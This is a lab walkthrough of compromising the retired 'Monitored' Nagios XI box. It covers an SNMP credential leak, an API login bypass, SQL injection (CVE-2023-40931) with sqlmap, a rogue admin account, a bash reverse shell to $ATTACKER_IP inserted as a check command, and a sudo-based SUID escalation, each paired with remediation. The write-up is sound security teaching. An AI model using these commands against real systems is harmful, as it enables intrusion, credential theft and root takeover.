← all walkthroughs

Monitored

Linux· Medium
owned
2026-09-03
time to own
44m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I paired a full TCP scan with a UDP sweep against $TARGET and found an exposed SNMP service still using the default 'public' community string alongside a Nagios XI monitoring console. Walking the SNMP process table leaked a plaintext password for a service account and the exact sudo command that used it. Because Nagios XI's REST API does not check whether an account is disabled, that leaked password authenticated an API session that a SQL-injection flaw (CVE-2023-40931) then used to steal the built-in administrator's API key.

The stolen key created a rogue admin account, which was used to define a malicious monitoring 'check command' that Nagios executed as the nagios service user for a reverse shell. From there, an overly broad sudo rule letting nagios run Nagios XI's maintenance scripts as root was abused to plant a SUID root shell, completing full compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Scanned TCP and UDP services and identified the Nagios XI console
The HTTPS certificate and web content identified the site as a Nagios XI monitoring installation, requiring the hostname to be mapped locally to reach it by name.
Nmap UDP scan: '161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)'; curl against /nagiosxi returned the Nagios XI login page.
Exact commands 3
shell

TCP service scan

$ nmap -sV -p22,80,389,443,5667 $TARGET
shell

UDP scan finds the SNMP service most scans skip

$ sudo nmap -Pn -sU -p161 -sV --script snmp-info $TARGET
shell

Map the vhost referenced in the site's TLS certificate

$ echo "$TARGET monitored.htb nagios.monitored.htb" | sudo tee -a /etc/hosts
2Initial AccessSNMP information disclosure via default community string
Read a plaintext credential and a sudo rule off unauthenticated SNMP
The SNMP daemon accepted the default read-only community string 'public' with no source restriction. Walking the process-table MIB exposed a live cron job's full command line, which included a hard-coded username and password for a 'svc' account plus the exact sudo invocation that used them.
<withheld> returned: 'sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc <withheld>'
Exact commands 1
shell

Dump the HOST-RESOURCES-MIB process table; the cron command line leaks the credential

$ snmpbulkwalk -v2c -c public -On $TARGET . | grep -E 'svc'
FixLock down SNMP: change the default community string and restrict source accessCritical
WeaknessSNMP on UDP/161 accepted the factory-default read-only community string 'public' from any source, letting an unauthorised user dump the full process table and read a hard-coded credential and sudo command straight out of a running cron job.
FixChange the community string to a strong, unique value (or migrate to SNMPv3 with authentication and encryption), restrict SNMP access to specific management hosts via firewall/ACL, and stop passing secrets as command-line arguments to scheduled jobs — read them from a protected file or environment instead.
3Initial AccessAuthentication logic bypass via an alternate API path (T1078 - Valid Accounts)
Authenticated as the disabled 'svc' account through the Nagios XI REST API
The 'svc' account was disabled in the web UI, so the normal login form rejected its credentials. The separate REST API authentication endpoint, however, never checks the disabled flag and issued a valid session token for the same account.
POST /nagiosxi/api/v1/authenticate with svc's password succeeds where the web login form fails.
Exact commands 1
shell

Valid_min=500 keeps the token alive long enough for the slow blind SQLi in the next step

$ curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --data-urlencode 'username=svc' --data-urlencode "password=$PASSWORD" --data-urlencode 'valid_min=500'
FixEnforce account status checks consistently across all authentication pathsHigh
WeaknessThe Nagios XI web login form correctly rejected the disabled 'svc' account, but the separate REST API authentication endpoint did not check the same disabled flag, giving an unauthorised user a working path around an account that had already been locked out.
FixEnforce identical account-status, lockout, and password-policy checks in every authentication entry point (web UI, REST API, any internal service auth), and disable or scope-limit REST API authentication for accounts that are not meant to use it.
4ExploitationSQL Injection - CVE-2023-40931
Exploited an authenticated SQL injection to steal the admin API key
The banner_message-ajaxhelper.php endpoint passed the 'id' parameter into a SQL query without sanitization (CVE-2023-40931). Using the svc session token, a time-based blind SQL injection extracted the built-in nagiosadmin account's API key straight out of the database.
Target endpoint: POST /nagiosxi/admin/banner_message-ajaxhelper.php, action=acknowledge_banner_message&id=3&token=<svc_token>
Exact commands 1
shell

Time-based blind SQLi, narrowed to the one column needed to keep it fast

$ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php' --data 'action=acknowledge_banner_message&id=3&token=<SVC_API_TOKEN>' -p id --dbms=MySQL --batch --threads 10 -D nagiosxi -T xi_users -C api_key --dump
FixPatch Nagios XI against the authenticated SQL injection (CVE-2023-40931)Critical
WeaknessThe banner_message-ajaxhelper.php endpoint built a SQL query from the unsanitized 'id' parameter, letting any authenticated session — even a low-value service account — extract arbitrary database contents, including the primary administrator's API key.
FixUpgrade Nagios XI to a version that includes the fix for CVE-2023-40931, and in general use parameterized queries/prepared statements for all database access rather than string-concatenated SQL.
5Privilege Escalation (application)Account manipulation via stolen API key (T1136 - Create Account)
Used the stolen admin API key to create a rogue administrator account
The nagiosadmin API key alone cannot drive the web UI, so it was used against the user-management API to silently create a brand-new admin-level account, which was then used to log in normally and accept the mandatory license agreement that unlocks a full session.
New account 'pwn' created via /nagiosxi/api/v1/system/user; nagiosxi session cookie issued after login.php + license acceptance.
Exact commands 3
shell

Create a full admin account with the stolen API key

$ curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=<STOLEN_API_KEY>&pretty=1' -d "username=pwn&password=$PASSWORD4&name=pwn&email=pwn@monitored.htb&auth_level=admin&force_pw_change=0"
shell

Harvest the anti-CSRF 'nsp' token from the login form

$ curl -skS -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' | grep -iE '<input'
shell

Log in as the rogue admin account

$ curl -skS -L -c cookies.txt -b cookies.txt 'https://nagios.monitored.htb/nagiosxi/login.php' --data-urlencode 'nsp=<NSP_TOKEN>' --data-urlencode 'page=auth' --data-urlencode 'pageopt=login' --data-urlencode 'username=pwn' --data-urlencode "password=$PASSWORD4" --data-urlencode 'loginButton=Login'
FixRestrict what a bare API key can do, especially account creationHigh
WeaknessPossessing only the primary administrator's API key was sufficient to silently create a brand-new, fully privileged admin account with no additional verification or notification, turning one leaked key into permanent, self-service admin access.
FixRequire step-up authentication (e.g., re-entering a password or MFA) for sensitive API actions like account creation and privilege changes, alert on new admin account creation, and rotate/revoke API keys regularly or scope them to the minimum operations they need.
6FootholdAbuse of legitimate monitoring configuration for command execution (T1059 - Command and Scripting Interpreter)
Defined a malicious monitoring check-command to gain code execution as the nagios user
As a full administrator, I used Nagios XI's Core Config Manager (Commands) to register a new check command whose command line was a bash reverse shell, applied the configuration, then triggered it. Nagios executes configured check commands as the local 'nagios' service account, so running the check returned a shell.
Exact commands 4
shell

Define the malicious command via the config API (equivalently: Configure > Core Config Manager > Commands > Add New in the UI)

$ curl -sk 'https://nagios.monitored.htb/nagiosxi/api/v1/config/command?apikey=<API_KEY>&pretty=1' -d 'command_name=pwn-revshell' -d "command_line=/bin/bash -c 'bash -i >&/dev/tcp/$ATTACKER_IP/443 0>&1'"
shell

Listener for the callback; must be running before the check is triggered

$ nc -lvnp 443
shell

Executes the reverse shell as the nagios user

$ # In the UI: click 'Apply Configuration' (required or the command is never written to the live config), then open the command and 'Run Check Command'
shell

Prove the foothold: uid=1001(nagios)

$ id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)
FixTreat monitoring check-command configuration as code execution and restrict it accordinglyHigh
WeaknessAny Nagios XI administrator can define a check command's command line arbitrarily, and the monitoring engine executes that command line as the local nagios service account — meaning admin-panel access is equivalent to remote code execution with no additional control.
FixLimit Core Config Manager / command-definition access to a small, audited set of trusted administrators, log and alert on new or modified command definitions, and run the monitoring engine under a hardened, minimally-privileged account with restricted filesystem and network access.
7Privilege Escalation (root)Sudo privilege escalation via writable root-executed script (T1548.003 - Sudo and Sudo Caching)
Abused a root sudo rule over Nagios XI's own maintenance scripts to plant a SUID root shell
Sudo -l for nagios showed passwordless root rights over Nagios XI's own service-management scripts and legacy init scripts. Those root-run scripts start binaries that live in a directory nagios itself owns, so nagios overwrote one of those binaries with a script that grants the SUID bit to /bin/bash, then had the root-run wrapper 'start' the poisoned binary.
Sudo -n -l: 'User nagios may run ... (root) NOPASSWD: /etc/init.d/nagios start|stop|restart|reload ...' plus NOPASSWD rights on /usr/local/nagiosxi/scripts/*; find / -perm -4000 confirmed no simpler SUID shortcut existed.
Exact commands 7
shell

Confirm nagios can run Nagios XI maintenance scripts and init.d/nagios as root with NOPASSWD

$ sudo -n -l
shell

Back up the binary before overwriting it

$ cp /usr/local/nagios/bin/npcd /tmp/npcd.bak
shell

Stop the service so the binary can be replaced

$ sudo /usr/local/nagiosxi/scripts/manage_services.sh npcd stop
shell

Replace the nagios-owned binary the root script will start

$ printf '#!/bin/bash\nchmod 6777 /bin/bash\n' > /usr/local/nagios/bin/npcd && chmod +x /usr/local/nagios/bin/npcd
shell

A root-owned script starts the poisoned binary, setting SUID on /bin/bash

$ sudo /usr/local/nagiosxi/scripts/manage_services.sh npcd start
shell

Drop into a root shell

$ /bin/bash -p
shell

Prove root (uid=0) before reading the flag; replace with <root.txt>

$ id && cat /root/root.txt
FixRemove the overly broad sudo rule on Nagios XI's maintenance scriptsCritical
WeaknessThe nagios account had passwordless sudo rights to run Nagios XI's own maintenance/service scripts as root, and those root-run scripts started binaries stored in a directory that the low-privileged nagios account could write to, letting nagios trojan a binary and have root execute it.
FixRemove blanket NOPASSWD sudo rules over scripts that touch nagios-writable paths; if root-level service management is required, use a wrapper that runs with a fixed, root-owned, non-writable binary path, and apply the principle of least privilege so nagios cannot write to any file or directory that a root-run process will later execute.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
389/tcp
443/tcp
5667/tcp
161/udp